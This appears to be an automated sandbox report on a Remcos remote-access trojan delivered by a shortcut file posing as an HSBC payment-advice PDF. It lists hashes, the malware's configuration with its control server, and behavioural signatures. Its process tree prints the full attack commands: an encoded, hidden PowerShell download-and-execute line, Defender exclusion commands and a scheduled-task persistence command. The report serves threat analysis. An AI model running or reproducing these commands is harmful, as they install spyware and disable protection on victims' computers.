Analysis
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max time kernel
147s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
26-07-2024 11:02
Static task
static1
Behavioral task
behavioral1
Sample
Payment Advice__HSBC Banking.pdf.lnk
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
Payment Advice__HSBC Banking.pdf.lnk
Resource
win10v2004-20240709-en
General
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Target
Payment Advice__HSBC Banking.pdf.lnk
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Size
2KB
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MD5
a38b0a4d0768ba8ce7c73904b55ee9ff
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SHA1
a1a13ef45fcf88eaff3dcffba1fb2608aa07e3c8
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SHA256
3f2491926888db2c9d6c7b1a426ff41e1cd4a13bc922156a814b9fe3032ff809
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SHA512
4159cd37110d910624b8bb5c837e70668b3e6d795e1ab276ea32f5ab315509dedf11bd865d4c1be41f9cec698235453996939a0ac8a45f36a28a45bdf28b7cf8
Malware Config
Extracted
remcos
RemoteHost
204.10.160.230:7983
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audio_folder
MicRecords
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Rmc-O7QOC3
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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startup_value
Remcos
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
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Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 8 1428 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
Processes:
powershell.exepowershell.exepowershell.exepid process 1428 powershell.exe 4816 powershell.exe 1224 powershell.exe -
Downloads MZ/PE file
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Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
cmd.exePuttyTest777.pifdescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Control Panel\International\Geo\Nation PuttyTest777.pif -
Executes dropped EXE 2 IoCs
Processes:
PuttyTest777.pifPuttyTest777.pifpid process 3968 PuttyTest777.pif 404 PuttyTest777.pif -
Suspicious use of SetThreadContext 1 IoCs
Processes:
PuttyTest777.pifdescription pid process target process PID 3968 set thread context of 404 3968 PuttyTest777.pif PuttyTest777.pif -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
powershell.exepowershell.exeschtasks.exePuttyTest777.pifPuttyTest777.pifdescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PuttyTest777.pif Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PuttyTest777.pif -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Suspicious behavior: EnumeratesProcesses 16 IoCs
Processes:
powershell.exePuttyTest777.pifpowershell.exepowershell.exepid process 1428 powershell.exe 1428 powershell.exe 3968 PuttyTest777.pif 3968 PuttyTest777.pif 3968 PuttyTest777.pif 3968 PuttyTest777.pif 3968 PuttyTest777.pif 3968 PuttyTest777.pif 1224 powershell.exe 1224 powershell.exe 4816 powershell.exe 4816 powershell.exe 3968 PuttyTest777.pif 3968 PuttyTest777.pif 1224 powershell.exe 4816 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.exePuttyTest777.pifpowershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 1428 powershell.exe Token: SeDebugPrivilege 3968 PuttyTest777.pif Token: SeDebugPrivilege 1224 powershell.exe Token: SeDebugPrivilege 4816 powershell.exe -
Suspicious use of WriteProcessMemory 28 IoCs
Processes:
cmd.execmd.exepowershell.exePuttyTest777.pifdescription pid process target process PID 1860 wrote to memory of 316 1860 cmd.exe cmd.exe PID 1860 wrote to memory of 316 1860 cmd.exe cmd.exe PID 316 wrote to memory of 1428 316 cmd.exe powershell.exe PID 316 wrote to memory of 1428 316 cmd.exe powershell.exe PID 1428 wrote to memory of 3968 1428 powershell.exe PuttyTest777.pif PID 1428 wrote to memory of 3968 1428 powershell.exe PuttyTest777.pif PID 1428 wrote to memory of 3968 1428 powershell.exe PuttyTest777.pif PID 3968 wrote to memory of 4816 3968 PuttyTest777.pif powershell.exe PID 3968 wrote to memory of 4816 3968 PuttyTest777.pif powershell.exe PID 3968 wrote to memory of 4816 3968 PuttyTest777.pif powershell.exe PID 3968 wrote to memory of 1224 3968 PuttyTest777.pif powershell.exe PID 3968 wrote to memory of 1224 3968 PuttyTest777.pif powershell.exe PID 3968 wrote to memory of 1224 3968 PuttyTest777.pif powershell.exe PID 3968 wrote to memory of 3496 3968 PuttyTest777.pif schtasks.exe PID 3968 wrote to memory of 3496 3968 PuttyTest777.pif schtasks.exe PID 3968 wrote to memory of 3496 3968 PuttyTest777.pif schtasks.exe PID 3968 wrote to memory of 404 3968 PuttyTest777.pif PuttyTest777.pif PID 3968 wrote to memory of 404 3968 PuttyTest777.pif PuttyTest777.pif PID 3968 wrote to memory of 404 3968 PuttyTest777.pif PuttyTest777.pif PID 3968 wrote to memory of 404 3968 PuttyTest777.pif PuttyTest777.pif PID 3968 wrote to memory of 404 3968 PuttyTest777.pif PuttyTest777.pif PID 3968 wrote to memory of 404 3968 PuttyTest777.pif PuttyTest777.pif PID 3968 wrote to memory of 404 3968 PuttyTest777.pif PuttyTest777.pif PID 3968 wrote to memory of 404 3968 PuttyTest777.pif PuttyTest777.pif PID 3968 wrote to memory of 404 3968 PuttyTest777.pif PuttyTest777.pif PID 3968 wrote to memory of 404 3968 PuttyTest777.pif PuttyTest777.pif PID 3968 wrote to memory of 404 3968 PuttyTest777.pif PuttyTest777.pif PID 3968 wrote to memory of 404 3968 PuttyTest777.pif PuttyTest777.pif
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Payment Advice__HSBC Banking.pdf.lnk"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1860 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cMD /c PowErsHell -EX bypAss -nOp -w hidden -eC IAAJAEkATgB2AG8ASwBFAC0AdwBFAGIAUgBlAHEAVQBFAHMAVAAgAC0AVQBSAGkAIAAJAB0gaAB0AHQAcABzADoALwAvAHIAZQBtAGkAcwBhAHQALgBjAG8AbQAuAHUAeQAvAHoAdABpAC8AaABvAHQALgBlAHgAZQAdICAALQBvAHUAVABGAGkATABlACAACQAdICQAZQBuAFYAOgBhAFAAcABkAGEAdABhAFwAUAB1AHQAdAB5AFQAZQBzAHQANwA3ADcALgBwAGkAZgAdICAAIAA7ACAACQBpAE4AdgBvAGsARQAtAGkAVABlAG0AIAAJAB0gJABFAG4AdgA6AGEAcABQAEQAYQB0AEEAXABQAHUAdAB0AHkAVABlAHMAdAA3ADcANwAuAHAAaQBmAB0g2⤵
- Suspicious use of WriteProcessMemory
PID:316 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowErsHell -EX bypAss -nOp -w hidden -eC IAAJAEkATgB2AG8ASwBFAC0AdwBFAGIAUgBlAHEAVQBFAHMAVAAgAC0AVQBSAGkAIAAJAB0gaAB0AHQAcABzADoALwAvAHIAZQBtAGkAcwBhAHQALgBjAG8AbQAuAHUAeQAvAHoAdABpAC8AaABvAHQALgBlAHgAZQAdICAALQBvAHUAVABGAGkATABlACAACQAdICQAZQBuAFYAOgBhAFAAcABkAGEAdABhAFwAUAB1AHQAdAB5AFQAZQBzAHQANwA3ADcALgBwAGkAZgAdICAAIAA7ACAACQBpAE4AdgBvAGsARQAtAGkAVABlAG0AIAAJAB0gJABFAG4AdgA6AGEAcABQAEQAYQB0AEEAXABQAHUAdAB0AHkAVABlAHMAdAA3ADcANwAuAHAAaQBmAB0g3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1428 -
C:\Users\Admin\AppData\Roaming\PuttyTest777.pif"C:\Users\Admin\AppData\Roaming\PuttyTest777.pif"4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3968 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\PuttyTest777.pif"5⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4816 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\HODoCxSdp.exe"5⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1224 -
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HODoCxSdp" /XML "C:\Users\Admin\AppData\Local\Temp\tmp6F11.tmp"5⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:3496 -
C:\Users\Admin\AppData\Roaming\PuttyTest777.pif"C:\Users\Admin\AppData\Roaming\PuttyTest777.pif"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:404
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD53d086a433708053f9bf9523e1d87a4e8
SHA1b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28
SHA2566f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69
SHA512931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd
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Filesize
18KB
MD585b8211edb020e07c166a2e14e172aed
SHA170b05952dde5ba1d2ba81e59eacb003f923f45b3
SHA25687e4b5a7c923eb80db2ab3b4f65065593d04ba8b905f0fda9f2c67fa0b0c0ba0
SHA5126a6e64b677b4049ca70b58fd2f5e6e314bc903863ca09c87df3691570e3df6d1980c6cd118f7a7d88c5987aa5940b69c5cda4eafe54afc0ac2a49c740f7e03fb
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Filesize
1KB
MD570595b5937369a2592a524db67e208d3
SHA1d989b934d9388104189f365694e794835aa6f52f
SHA256be09b93a020e2e86a0b3c7c3f3d3e2c45f888944b1036df738385ede16f595c8
SHA512edb412886187a2740eb7e284b16838bdd9f011aba1f4581f1fed25a86cdfe9b2ab4df863edeb3db6b072805439d57b10f3e0a1f2daabe1ee56db275ad2ad61e5
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
1KB
MD5819587ec95ca0a7732660689afea5c73
SHA1cca4b73ba8f978289cbf08282ea50ddcc29a75f1
SHA25686b444b02f2e2c892c27fdb0f77dc82c508423da584d64b8db4fe985a0cc548e
SHA512c85872fd911363284e580f8a525bec84ede468d632a6daaf0ea1e33a10cf7db67737ae543afaeb9434159fbf3072930bb7217e8bfe8652141fd3323207df8325
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Filesize
939KB
MD53f69729a8f2b22e625bb984f28758ebc
SHA1ab8aab5952dfcf0d705daff76448920c67b6241d
SHA256d1b50fc6ce79320a88defef33baf6a51e30845bd13ab2b52f7925ba0b8f527cd
SHA512c4622e82f66aa728ded76ef628bd31ddcd35581a10a6043e735e557a26c8f9c72c67713f29a3ed90f647bf268484b44cf812918a02aa8e1539c3fdac7bcc1fa1